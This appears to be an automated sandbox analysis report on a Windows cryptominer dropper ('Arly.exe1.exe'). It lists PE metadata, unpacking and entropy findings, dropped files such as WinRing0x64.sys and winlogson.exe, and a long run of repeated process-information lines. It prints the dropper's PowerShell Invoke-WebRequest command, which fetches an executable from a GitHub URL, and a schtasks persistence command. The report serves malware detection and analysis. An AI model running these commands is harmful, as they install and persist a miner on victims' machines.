Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb source: file_scaricato.exe, 0000000E.00000003.2090007117.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732558298.0000000001614000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090249387.0000000001611000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr
Source:	Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: WinRing0x64.sys.15.dr
Source:	Binary string: C:\Users\danar\source\repos\reskapo\x64\Release\reskapo.pdb source: Arly.exe1.exe
Source:	Binary string: C:\Users\danar\source\repos\reskapo\x64\Release\reskapo.pdb5 source: Arly.exe1.exe

Source: Arly.exe1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Arly.exe1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Arly.exe1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Arly.exe1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Arly.exe1.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\dmikhsv\file_scaricato.exe

Unpacked PE file: 14.2.file_scaricato.exe.ba0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'https://github.com/deripascod/coderoom/raw/refs/heads/main/notyhkkadaw.exe' -OutFile 'C:\dmikhsv\file_scaricato.exe'"			Jump to behavior

Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr

Static PE information: 0x9A21587A [Mon Dec 11 03:03:22 2051 UTC]

Source: winlogson.exe.15.dr	Static PE information: real checksum: 0x7e7c4c should be: 0xb931b
Source: Arly.exe1.exe	Static PE information: real checksum: 0x0 should be: 0x586cd
Source: file_scaricato.exe.12.dr	Static PE information: real checksum: 0x0 should be: 0x146885
Source: ZTXEX2709J4S3M888Q2LJG.exe.14.dr	Static PE information: real checksum: 0x0 should be: 0x11c88

Source: file_scaricato.exe.12.dr	Static PE information: section name:
Source: file_scaricato.exe.12.dr	Static PE information: section name:
Source: file_scaricato.exe.12.dr	Static PE information: section name:
Source: file_scaricato.exe.12.dr	Static PE information: section name:
Source: file_scaricato.exe.12.dr	Static PE information: section name:
Source: winlogson.exe.15.dr	Static PE information: section name: .xdata

Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BE26D5 push edx; iretd	14_2_00BE26E2
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_00BB5667 push FFFFFFF6h; ret	14_2_00BB5669
Source: C:\dmikhsv\file_scaricato.exe	Code function: 14_2_033C378E push eax; retf	14_2_033C378F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_04DEF61A push ecx; iretd	18_2_04DEF61B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_04DE6338 pushad ; ret	18_2_04DE6341
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_04DE6F1C pushad ; ret	18_2_04DE6F23

Source: file_scaricato.exe.12.dr	Static PE information: section name: entropy: 7.998768554472913
Source: file_scaricato.exe.12.dr	Static PE information: section name: entropy: 7.937488686072303
Source: file_scaricato.exe.12.dr	Static PE information: section name: entropy: 7.973625484884604
Source: file_scaricato.exe.12.dr	Static PE information: section name: entropy: 7.971762900508867
Source: file_scaricato.exe.12.dr	Static PE information: section name: .data entropy: 7.988782966056313

Persistence and Installation Behavior

Sample is not signed and drops a device driver

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe

File created: C:\ProgramData\Dllhost\WinRing0x64.sys

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	File created: C:\ProgramData\Dllhost\WinRing0x64.sys	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	File created: C:\ProgramData\Dllhost\winlogson.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\dmikhsv\file_scaricato.exe	Jump to dropped file
Source: C:\dmikhsv\file_scaricato.exe	File created: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	File created: C:\ProgramData\Dllhost\WinRing0x64.sys			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe	File created: C:\ProgramData\Dllhost\winlogson.exe			Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\Arly.exe1.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
